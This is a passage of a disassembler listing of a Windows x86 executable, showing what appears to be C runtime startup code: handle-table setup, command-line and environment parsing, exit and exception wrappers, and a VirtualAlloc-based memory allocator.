		push	eax
		call	sub_4488EB
		pop	ecx
		mov	eax, [ebx+30h]
		push	eax
		call	sub_4488EB
		pop	ecx
		mov	eax, [ebx+34h]
		cmp	eax, offset dword_4117E8
		jz	short loc_44A968
		mov	eax, [ebx+34h]
		push	eax
		call	sub_4488EB
		pop	ecx


loc_44A968:				; CODE XREF: sub_44A8FB+61j
		mov	eax, [ebx+3Ch]
		push	eax
		call	sub_4488EB
		pop	ecx
		push	ebx
		call	sub_4488EB
		pop	ecx


loc_44A979:				; CODE XREF: sub_44A8FB+25j
		push	0
		mov	eax, dword_411774
		push	eax
		call	dword_411D9C	; TlsSetValue


loc_44A987:				; CODE XREF: sub_44A8FB+Fj
		pop	ebx
		retn
sub_44A8FB	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh

; =============== S U B	R O U T	I N E =======================================



sub_44A98B	proc near		; CODE XREF: DMN1:004490A7p
					; DMN1:004490E5p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	dword_411D34	; ExitProcess
		retn
sub_44A98B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================



sub_44A99B	proc near		; CODE XREF: DMN1:004490D5p
					; DMN1:00449392p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		mov	esi, offset dword_411778
		jmp	short loc_44A9ED
; ---------------------------------------------------------------------------


loc_44A9A9:				; CODE XREF: sub_44A99B+58j
		cmp	[esi], ebx
		jnz	short loc_44A9EA
		push	1
		mov	eax, [esi+4]
		push	eax
		call	sub_44C54B
		add	esp, 8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_44A9C9
		test	edi, edi
		jnz	short loc_44A9CB


loc_44A9C9:				; CODE XREF: sub_44A99B+28j
		jmp	short loc_44A9F5
; ---------------------------------------------------------------------------


loc_44A9CB:				; CODE XREF: sub_44A99B+2Cj
		cmp	edi, 1
		jz	short loc_44A9E5
		push	0
		mov	eax, [esi+4]
		push	eax
		call	sub_44C54B
		add	esp, 8
		mov	eax, [esi+4]
		push	eax
		call	edi
		pop	ecx


loc_44A9E5:				; CODE XREF: sub_44A99B+33j
		or	eax, 0FFFFFFFFh
		jmp	short loc_44AA00
; ---------------------------------------------------------------------------


loc_44A9EA:				; CODE XREF: sub_44A99B+10j
		add	esi, 8


loc_44A9ED:				; CODE XREF: sub_44A99B+Cj
		cmp	esi, offset dword_4117C8
		jb	short loc_44A9A9


loc_44A9F5:				; CODE XREF: sub_44A99B:loc_44A9C9j
		mov	eax, [esp+0Ch+arg_4]
		push	eax
		call	dword_411DE8	; UnhandledExceptionFilter


loc_44AA00:				; CODE XREF: sub_44A99B+4Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_44A99B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44AA0B	proc near		; CODE XREF: sub_44928B+5p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	dword_411D1C	; DeleteFileA
		test	eax, eax
		jnz	short loc_44AA2B
		call	dword_411CEC	; RtlGetLastWin32Error
		push	eax
		call	sub_449A3B
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_44AA2B:				; CODE XREF: sub_44AA0B+Dj
		xor	eax, eax
		retn
sub_44AA0B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44AA3B	proc near		; CODE XREF: DMN1:004492FAp
		push	offset dword_412858
		call	dword_411DEC	; GetSystemTimeAsFileTime
		retn
sub_44AA3B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		lea	eax, [ebp-8]
		push	eax
		call	dword_411DEC	; GetSystemTimeAsFileTime
		mov	eax, [ebp-8]
		mov	edx, [ebp-4]
		mov	ecx, dword_412858
		mov	ebx, dword_41285C
		sub	eax, ecx
		sbb	edx, ebx
		mov	[ebp-8], eax
		mov	[ebp-4], edx
		mov	eax, [ebp-8]
		mov	edx, [ebp-4]
		push	edx
		push	eax
		push	0
		push	2710h
		call	sub_44C63B
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44AA9B	proc near		; CODE XREF: DMN1:004492FFp

var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	ebx
		push	esi
		push	edi
		push	480h
		call	sub_44999B
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_44AABD
		push	1
		call	sub_44A98B
		pop	ecx


loc_44AABD:				; CODE XREF: sub_44AA9B+18j
		mov	dword_41398C, ebx
		mov	dword_413A8C, 20h
		jmp	short loc_44AAE7
; ---------------------------------------------------------------------------


loc_44AACF:				; CODE XREF: sub_44AA9B+58j
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx], 0FFFFFFFFh
		mov	byte ptr [ebx+5], 0Ah
		mov	dword ptr [ebx+8], 0
		add	ebx, 24h


loc_44AAE7:				; CODE XREF: sub_44AA9B+32j
		mov	eax, dword_41398C
		add	eax, 480h
		cmp	ebx, eax
		jb	short loc_44AACF
		lea	eax, [ebp+var_58]
		push	eax
		call	dword_411DAC	; GetStartupInfoA
		cmp	[ebp+var_26], 0
		jz	loc_44AC0D
		cmp	[ebp+var_24], 0
		jz	loc_44AC0D
		mov	eax, [ebp+var_24]
		mov	eax, [eax]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_24]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_10]
		mov	edx, [ebp+var_4]
		add	edx, eax
		mov	[ebp+var_8], edx
		cmp	eax, 800h
		jle	short loc_44AB3E
		mov	[ebp+var_10], 800h


loc_44AB3E:				; CODE XREF: sub_44AA9B+9Aj
		mov	esi, 1
		jmp	short loc_44AB99
; ---------------------------------------------------------------------------


loc_44AB45:				; CODE XREF: sub_44AA9B+107j
		push	480h
		call	sub_44999B
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_44AB60
		mov	eax, dword_413A8C
		mov	[ebp+var_10], eax
		jmp	short loc_44ABA4
; ---------------------------------------------------------------------------


loc_44AB60:				; CODE XREF: sub_44AA9B+B9j
		mov	dword_41398C[esi*4], ebx
		add	dword_413A8C, 20h
		jmp	short loc_44AB88
; ---------------------------------------------------------------------------


loc_44AB70:				; CODE XREF: sub_44AA9B+FBj
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx], 0FFFFFFFFh
		mov	byte ptr [ebx+5], 0Ah
		mov	dword ptr [ebx+8], 0
		add	ebx, 24h


loc_44AB88:				; CODE XREF: sub_44AA9B+D3j
		mov	eax, dword_41398C[esi*4]
		add	eax, 480h
		cmp	ebx, eax
		jb	short loc_44AB70
		inc	esi


loc_44AB99:				; CODE XREF: sub_44AA9B+A8j
		mov	eax, [ebp+var_10]
		cmp	dword_413A8C, eax
		jl	short loc_44AB45


loc_44ABA4:				; CODE XREF: sub_44AA9B+C3j
		xor	edi, edi
		jmp	short loc_44AC08
; ---------------------------------------------------------------------------


loc_44ABA8:				; CODE XREF: sub_44AA9B+170j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_44ABFB
		mov	edx, [ebp+var_4]
		movzx	edx, byte ptr [edx]
		test	edx, 1
		jz	short loc_44ABFB
		test	edx, 8
		jnz	short loc_44ABD5
		push	eax
		call	dword_411DF0	; GetFileType
		test	eax, eax
		jz	short loc_44ABFB


loc_44ABD5:				; CODE XREF: sub_44AA9B+12Dj
		mov	eax, edi
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, edi
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		lea	ebx, [edx+eax]
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebx], eax
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		mov	[ebx+4], al


loc_44ABFB:				; CODE XREF: sub_44AA9B+117j
					; sub_44AA9B+125j ...
		inc	edi
		inc	[ebp+var_4]
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax


loc_44AC08:				; CODE XREF: sub_44AA9B+10Bj
		cmp	edi, [ebp+var_10]
		jl	short loc_44ABA8


loc_44AC0D:				; CODE XREF: sub_44AA9B+69j
					; sub_44AA9B+73j
		xor	edi, edi


loc_44AC0F:				; CODE XREF: sub_44AA9B+23Ej
		imul	eax, edi, 24h
		mov	edx, dword_41398C
		lea	ebx, [edx+eax]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	loc_44ACD1
		mov	byte ptr [ebx+4], 81h
		test	edi, edi
		jnz	short loc_44AC38
		mov	[ebp+var_5C], 0FFFFFFF6h
		jmp	short loc_44AC49
; ---------------------------------------------------------------------------


loc_44AC38:				; CODE XREF: sub_44AA9B+192j
		cmp	edi, 1
		setz	al
		and	eax, 1
		add	eax, 0FFFFFFF4h
		mov	[ebp+var_5C], eax


loc_44AC49:				; CODE XREF: sub_44AA9B+19Bj
		mov	eax, [ebp+var_5C]
		push	eax
		call	dword_411CD8	; GetStdHandle
		mov	[ebp+var_C], eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_44ACCB
		mov	eax, [ebp+var_C]
		push	eax
		call	dword_411DF0	; GetFileType
		mov	[ebp+var_14], eax
		test	eax, eax
		jz	short loc_44ACCB
		call	dword_411D68	; GetCurrentProcess
		mov	[ebp+var_64], eax
		call	dword_411D68	; GetCurrentProcess
		push	2
		push	1
		push	0
		lea	edx, [ebp+var_60]
		push	edx
		push	eax
		mov	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebp+var_64]
		push	eax
		call	dword_411DF4	; DuplicateHandle
		test	eax, eax
		jz	short loc_44ACA0
		mov	eax, [ebp+var_60]
		mov	[ebp+var_C], eax


loc_44ACA0:				; CODE XREF: sub_44AA9B+1FDj
		mov	eax, [ebp+var_C]
		mov	[ebx], eax
		mov	eax, [ebp+var_14]
		and	eax, 0FFh
		cmp	eax, 2
		jnz	short loc_44ACB8
		or	byte ptr [ebx+4], 40h
		jmp	short loc_44ACD5
; ---------------------------------------------------------------------------


loc_44ACB8:				; CODE XREF: sub_44AA9B+215j
		mov	eax, [ebp+var_14]
		and	eax, 0FFh
		cmp	eax, 3
		jnz	short loc_44ACD5
		or	byte ptr [ebx+4], 8
		jmp	short loc_44ACD5
; ---------------------------------------------------------------------------


loc_44ACCB:				; CODE XREF: sub_44AA9B+1C0j
					; sub_44AA9B+1D1j
		or	byte ptr [ebx+4], 40h
		jmp	short loc_44ACD5
; ---------------------------------------------------------------------------


loc_44ACD1:				; CODE XREF: sub_44AA9B+186j
		or	byte ptr [ebx+4], 80h


loc_44ACD5:				; CODE XREF: sub_44AA9B+21Bj
					; sub_44AA9B+228j ...
		inc	edi
		cmp	edi, 3
		jl	loc_44AC0F
		mov	eax, dword_413A8C
		push	eax
		call	dword_411DF8	; LockResource
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44AA9B	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		xor	ebx, ebx


loc_44ACFF:				; CODE XREF: DMN1:0044AD52j
		cmp	dword_41398C[ebx*4], 0
		jz	short loc_44AD4E
		mov	esi, dword_41398C[ebx*4]
		jmp	short loc_44AD25
; ---------------------------------------------------------------------------


loc_44AD12:				; CODE XREF: DMN1:0044AD33j
		cmp	dword ptr [esi+8], 0
		jz	short loc_44AD22
		lea	eax, [esi+0Ch]
		push	eax
		call	dword_411DD0	; RtlDeleteCriticalSection


loc_44AD22:				; CODE XREF: DMN1:0044AD16j
		add	esi, 24h


loc_44AD25:				; CODE XREF: DMN1:0044AD10j
		mov	eax, dword_41398C[ebx*4]
		add	eax, 480h
		cmp	esi, eax
		jb	short loc_44AD12
		mov	eax, dword_41398C[ebx*4]
		push	eax
		call	sub_4488EB
		pop	ecx
		mov	dword_41398C[ebx*4], 0


loc_44AD4E:				; CODE XREF: DMN1:0044AD07j
		inc	ebx
		cmp	ebx, 40h
		jl	short loc_44ACFF
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44AD5B	proc near		; CODE XREF: sub_44AF0B+3Fp
					; sub_44AF0B+76p

var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	edi
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_10]
		mov	dword ptr [edx], 0
		mov	edx, [ebp+arg_C]
		mov	dword ptr [edx], 1
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+arg_4], 0
		jz	short loc_44AD8C
		mov	eax, [ebp+arg_4]
		lea	edx, [eax+4]
		mov	[ebp+arg_4], edx
		mov	[eax], ecx


loc_44AD8C:				; CODE XREF: sub_44AD5B+24j
		cmp	byte ptr [ebx],	22h
		jnz	short loc_44ADC7
		jmp	short loc_44ADA3
; ---------------------------------------------------------------------------


loc_44AD93:				; CODE XREF: sub_44AD5B+53j
		test	ecx, ecx
		jz	short loc_44AD9E
		mov	eax, ecx
		inc	ecx
		mov	dl, [ebx]
		mov	[eax], dl


loc_44AD9E:				; CODE XREF: sub_44AD5B+3Aj
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]


loc_44ADA3:				; CODE XREF: sub_44AD5B+36j
		inc	ebx
		mov	eax, ebx
		cmp	byte ptr [eax],	22h
		jz	short loc_44ADB0
		cmp	byte ptr [ebx],	0
		jnz	short loc_44AD93


loc_44ADB0:				; CODE XREF: sub_44AD5B+4Ej
		test	ecx, ecx
		jz	short loc_44ADBA
		mov	eax, ecx
		inc	ecx
		mov	byte ptr [eax],	0


loc_44ADBA:				; CODE XREF: sub_44AD5B+57j
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]
		cmp	byte ptr [ebx],	22h
		jnz	short loc_44ADFF
		inc	ebx
		jmp	short loc_44ADFF
; ---------------------------------------------------------------------------


loc_44ADC7:				; CODE XREF: sub_44AD5B+34j
					; sub_44AD5B+91j
		test	ecx, ecx
		jz	short loc_44ADD2
		mov	eax, ecx
		inc	ecx
		mov	dl, [ebx]
		mov	[eax], dl


loc_44ADD2:				; CODE XREF: sub_44AD5B+6Ej
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	[ebp+var_9], al
		mov	al, [ebp+var_9]
		cmp	al, 20h
		jz	short loc_44ADEE
		test	al, al
		jz	short loc_44ADEE
		cmp	al, 9
		jnz	short loc_44ADC7


loc_44ADEE:				; CODE XREF: sub_44AD5B+89j
					; sub_44AD5B+8Dj
		cmp	[ebp+var_9], 0
		jnz	short loc_44ADF7
		dec	ebx
		jmp	short loc_44ADFF
; ---------------------------------------------------------------------------


loc_44ADF7:				; CODE XREF: sub_44AD5B+97j
		test	ecx, ecx
		jz	short loc_44ADFF
		mov	byte ptr [ecx-1], 0


loc_44ADFF:				; CODE XREF: sub_44AD5B+67j
					; sub_44AD5B+6Aj ...
		mov	[ebp+var_8], 0


loc_44AE06:				; CODE XREF: sub_44AD5B+181j
		cmp	byte ptr [ebx],	0
		jz	short loc_44AE18
		jmp	short loc_44AE0E
; ---------------------------------------------------------------------------


loc_44AE0D:				; CODE XREF: sub_44AD5B+B7j
					; sub_44AD5B+BBj
		inc	ebx


loc_44AE0E:				; CODE XREF: sub_44AD5B+B0j
		mov	al, [ebx]
		cmp	al, 20h
		jz	short loc_44AE0D
		cmp	al, 9
		jz	short loc_44AE0D


loc_44AE18:				; CODE XREF: sub_44AD5B+AEj
		cmp	byte ptr [ebx],	0
		jz	loc_44AEE1
		cmp	[ebp+arg_4], 0
		jz	short loc_44AE32
		mov	eax, [ebp+arg_4]
		lea	edx, [eax+4]
		mov	[ebp+arg_4], edx
		mov	[eax], ecx


loc_44AE32:				; CODE XREF: sub_44AD5B+CAj
		mov	eax, [ebp+arg_C]
		inc	dword ptr [eax]


loc_44AE37:				; CODE XREF: sub_44AD5B+16Dj
		mov	[ebp+var_4], 1
		xor	edi, edi
		jmp	short loc_44AE44
; ---------------------------------------------------------------------------


loc_44AE42:				; CODE XREF: sub_44AD5B+ECj
		inc	ebx
		inc	edi


loc_44AE44:				; CODE XREF: sub_44AD5B+E5j
		cmp	byte ptr [ebx],	5Ch
		jz	short loc_44AE42
		cmp	byte ptr [ebx],	22h
		jnz	short loc_44AE94
		test	edi, 1
		jnz	short loc_44AE81
		cmp	[ebp+var_8], 0
		jz	short loc_44AE6E
		cmp	byte ptr [ebx+1], 22h
		jnz	short loc_44AE65
		inc	ebx
		jmp	short loc_44AE75
; ---------------------------------------------------------------------------


loc_44AE65:				; CODE XREF: sub_44AD5B+105j
		mov	[ebp+var_4], 0
		jmp	short loc_44AE75
; ---------------------------------------------------------------------------


loc_44AE6E:				; CODE XREF: sub_44AD5B+FFj
		mov	[ebp+var_4], 0


loc_44AE75:				; CODE XREF: sub_44AD5B+108j
					; sub_44AD5B+111j
		xor	eax, eax
		cmp	[ebp+var_8], 0
		setz	al
		mov	[ebp+var_8], eax


loc_44AE81:				; CODE XREF: sub_44AD5B+F9j
		shr	edi, 1
		jmp	short loc_44AE94
; ---------------------------------------------------------------------------


loc_44AE85:				; CODE XREF: sub_44AD5B+13Ej
		test	ecx, ecx
		jz	short loc_44AE8F
		mov	eax, ecx
		inc	ecx
		mov	byte ptr [eax],	5Ch


loc_44AE8F:				; CODE XREF: sub_44AD5B+12Cj
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]


loc_44AE94:				; CODE XREF: sub_44AD5B+F1j
					; sub_44AD5B+128j
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_44AE85
		mov	al, [ebx]
		test	al, al
		jz	short loc_44AEAF
		cmp	[ebp+var_8], 0
		jnz	short loc_44AEB1
		cmp	al, 20h
		jz	short loc_44AEAF
		cmp	al, 9
		jnz	short loc_44AEB1


loc_44AEAF:				; CODE XREF: sub_44AD5B+144j
					; sub_44AD5B+14Ej
		jmp	short loc_44AECD
; ---------------------------------------------------------------------------


loc_44AEB1:				; CODE XREF: sub_44AD5B+14Aj
					; sub_44AD5B+152j
		cmp	[ebp+var_4], 0
		jz	short loc_44AEC7
		test	ecx, ecx
		jz	short loc_44AEC2
		mov	eax, ecx
		inc	ecx
		mov	dl, [ebx]
		mov	[eax], dl


loc_44AEC2:				; CODE XREF: sub_44AD5B+15Ej
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]


loc_44AEC7:				; CODE XREF: sub_44AD5B+15Aj
		inc	ebx
		jmp	loc_44AE37
; ---------------------------------------------------------------------------


loc_44AECD:				; CODE XREF: sub_44AD5B:loc_44AEAFj
		test	ecx, ecx
		jz	short loc_44AED7
		mov	eax, ecx
		inc	ecx
		mov	byte ptr [eax],	0


loc_44AED7:				; CODE XREF: sub_44AD5B+174j
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]
		jmp	loc_44AE06
; ---------------------------------------------------------------------------


loc_44AEE1:				; CODE XREF: sub_44AD5B+C0j
		cmp	[ebp+arg_4], 0
		jz	short loc_44AEF6
		mov	eax, [ebp+arg_4]
		lea	edx, [eax+4]
		mov	[ebp+arg_4], edx
		mov	dword ptr [eax], 0


loc_44AEF6:				; CODE XREF: sub_44AD5B+18Aj
		mov	eax, [ebp+arg_C]
		inc	dword ptr [eax]
		pop	edi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44AD5B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44AF0B	proc near		; CODE XREF: DMN1:00449304p

var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		call	dword_411D94	; GetCommandLineA
		mov	esi, eax
		cmp	byte ptr [esi],	0
		jnz	short loc_44AF3D
		push	104h
		lea	eax, [ebp+var_10C]
		push	eax
		push	0
		call	dword_411CE0	; GetModuleFileNameA
		lea	esi, [ebp+var_10C]


loc_44AF3D:				; CODE XREF: sub_44AF0B+16j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0
		push	esi
		call	sub_44AD5B
		add	esp, 14h
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		lea	eax, [edx+eax*4]
		push	eax
		call	sub_44999B
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_44AF70
		push	1
		call	sub_44A98B
		pop	ecx


loc_44AF70:				; CODE XREF: sub_44AF0B+5Bj
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [ebx+eax*4]
		push	eax
		push	ebx
		push	esi
		call	sub_44AD5B
		add	esp, 14h
		mov	eax, [ebp+var_4]
		dec	eax
		mov	dword_4117C8, eax
		mov	dword_4117CC, ebx
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44AF0B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44AFAB	proc near		; CODE XREF: DMN1:00449309p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		call	dword_411DFC	; GetEnvironmentStrings
		mov	[ebp+var_8], eax
		test	eax, eax
		jnz	short loc_44AFC9
		mov	eax, off_411898
		mov	[ebp+var_8], eax


loc_44AFC9:				; CODE XREF: sub_44AFAB+14j
		mov	[ebp+var_4], 0
		mov	ebx, [ebp+var_8]
		jmp	short loc_44AFEE
; ---------------------------------------------------------------------------


loc_44AFD5:				; CODE XREF: sub_44AFAB+46j
		mov	edx, ebx
		or	eax, 0FFFFFFFFh


loc_44AFDA:				; CODE XREF: sub_44AFAB+34j
		inc	eax
		cmp	byte ptr [edx+eax], 0
		jnz	short loc_44AFDA
		lea	esi, [eax+1]
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_44AFEC
		add	[ebp+var_4], esi


loc_44AFEC:				; CODE XREF: sub_44AFAB+3Cj
		add	ebx, esi


loc_44AFEE:				; CODE XREF: sub_44AFAB+28j
		cmp	byte ptr [ebx],	0
		jnz	short loc_44AFD5
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_44999B
		pop	ecx
		mov	edi, eax
		mov	dword_4117D4, eax
		cmp	dword_4117D4, 0
		jnz	short loc_44B016
		push	1
		call	sub_44A98B
		pop	ecx


loc_44B016:				; CODE XREF: sub_44AFAB+61j
		mov	ebx, [ebp+var_8]
		jmp	short loc_44B045
; ---------------------------------------------------------------------------


loc_44B01B:				; CODE XREF: sub_44AFAB+9Dj
		mov	edx, ebx
		or	eax, 0FFFFFFFFh


loc_44B020:				; CODE XREF: sub_44AFAB+7Aj
		inc	eax
		cmp	byte ptr [edx+eax], 0
		jnz	short loc_44B020
		lea	esi, [eax+1]
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_44B043
		mov	ecx, edi
		mov	edx, ebx
		push	ecx
		sub	ecx, edx


loc_44B036:				; CODE XREF: sub_44AFAB+93j
		mov	al, [edx]
		mov	[ecx+edx], al
		inc	edx
		test	al, al
		jnz	short loc_44B036
		pop	eax
		add	edi, esi


loc_44B043:				; CODE XREF: sub_44AFAB+82j
		add	ebx, esi


loc_44B045:				; CODE XREF: sub_44AFAB+6Ej
		cmp	byte ptr [ebx],	0
		jnz	short loc_44B01B
		mov	byte ptr [edi],	0
		mov	eax, off_411898
		cmp	eax, [ebp+var_8]
		jz	short loc_44B061
		mov	eax, [ebp+var_8]
		push	eax
		call	dword_411E00	; FreeEnvironmentStringsA


loc_44B061:				; CODE XREF: sub_44AFAB+AAj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44AFAB	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0

; =============== S U B	R O U T	I N E =======================================



sub_44B06B	proc near		; CODE XREF: DMN1:0044933Ep
		push	ebx
		call	dword_411D94	; GetCommandLineA
		mov	ebx, eax
		cmp	byte ptr [ebx],	22h
		jnz	short loc_44B08F


loc_44B079:				; CODE XREF: sub_44B06B+19j
		inc	ebx
		mov	eax, ebx
		cmp	byte ptr [eax],	22h
		jz	short loc_44B086
		cmp	byte ptr [ebx],	0
		jnz	short loc_44B079


loc_44B086:				; CODE XREF: sub_44B06B+14j
		cmp	byte ptr [ebx],	22h
		jnz	short loc_44B097
		inc	ebx
		jmp	short loc_44B097
; ---------------------------------------------------------------------------


loc_44B08E:				; CODE XREF: sub_44B06B+27j
		inc	ebx


loc_44B08F:				; CODE XREF: sub_44B06B+Cj
		cmp	byte ptr [ebx],	20h
		ja	short loc_44B08E
		jmp	short loc_44B097
; ---------------------------------------------------------------------------


loc_44B096:				; CODE XREF: sub_44B06B+34j
		inc	ebx


loc_44B097:				; CODE XREF: sub_44B06B+1Ej
					; sub_44B06B+21j ...
		mov	al, [ebx]
		test	al, al
		jz	short loc_44B0A1
		cmp	al, 20h
		jbe	short loc_44B096


loc_44B0A1:				; CODE XREF: sub_44B06B+30j
		mov	eax, ebx
		pop	ebx
		retn
sub_44B06B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44B0AB	proc near		; CODE XREF: sub_4493CB+21p

var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		cmp	dword_4117DC, 0
		jnz	short loc_44B0DE
		push	1
		push	2000h
		mov	eax, dword_4117E0
		push	eax
		push	0
		call	dword_411E04	; VirtualAlloc
		mov	dword_4117DC, eax
		test	eax, eax
		jz	short loc_44B141


loc_44B0DE:				; CODE XREF: sub_44B0AB+13j
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, dword_4117DC
		push	eax
		call	dword_411E08	; VirtualQuery
		test	eax, eax
		jz	short loc_44B141
		cmp	[ebp+var_C], 1000h
		jnz	short loc_44B10B
		mov	eax, [ebp+var_10]
		mov	edx, dword_4117DC
		lea	edi, [edx+eax]
		jmp	short loc_44B111
; ---------------------------------------------------------------------------


loc_44B10B:				; CODE XREF: sub_44B0AB+50j
		mov	edi, dword_4117DC


loc_44B111:				; CODE XREF: sub_44B0AB+5Ej
		mov	esi, edi
		lea	eax, [esi+ebx]
		mov	edx, dword_4117E0
		mov	ecx, dword_4117DC
		add	edx, ecx
		cmp	eax, edx
		jb	short loc_44B12C
		xor	eax, eax
		jmp	short loc_44B141
; ---------------------------------------------------------------------------


loc_44B12C:				; CODE XREF: sub_44B0AB+7Bj
		push	4
		push	1000h
		push	ebx
		push	esi
		call	dword_411E04	; VirtualAlloc
		test	eax, eax
		jz	short loc_44B141
		mov	eax, esi


loc_44B141:				; CODE XREF: sub_44B0AB+31j
					; sub_44B0AB+47j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44B0AB	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44B14B	proc near		; CODE XREF: sub_449FDB+44p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_3		= byte ptr -3
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		mov	eax, [ebp+arg_C]
		movzx	eax, word ptr [eax+6]
		mov	[ebp+var_3], al
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_C]
		mov	eax, [eax]
		mov	[ebp+var_2], ax
		cmp	off_411928, 0
		jnz	loc_44B2C6
		cmp	[ebp+arg_4], 0
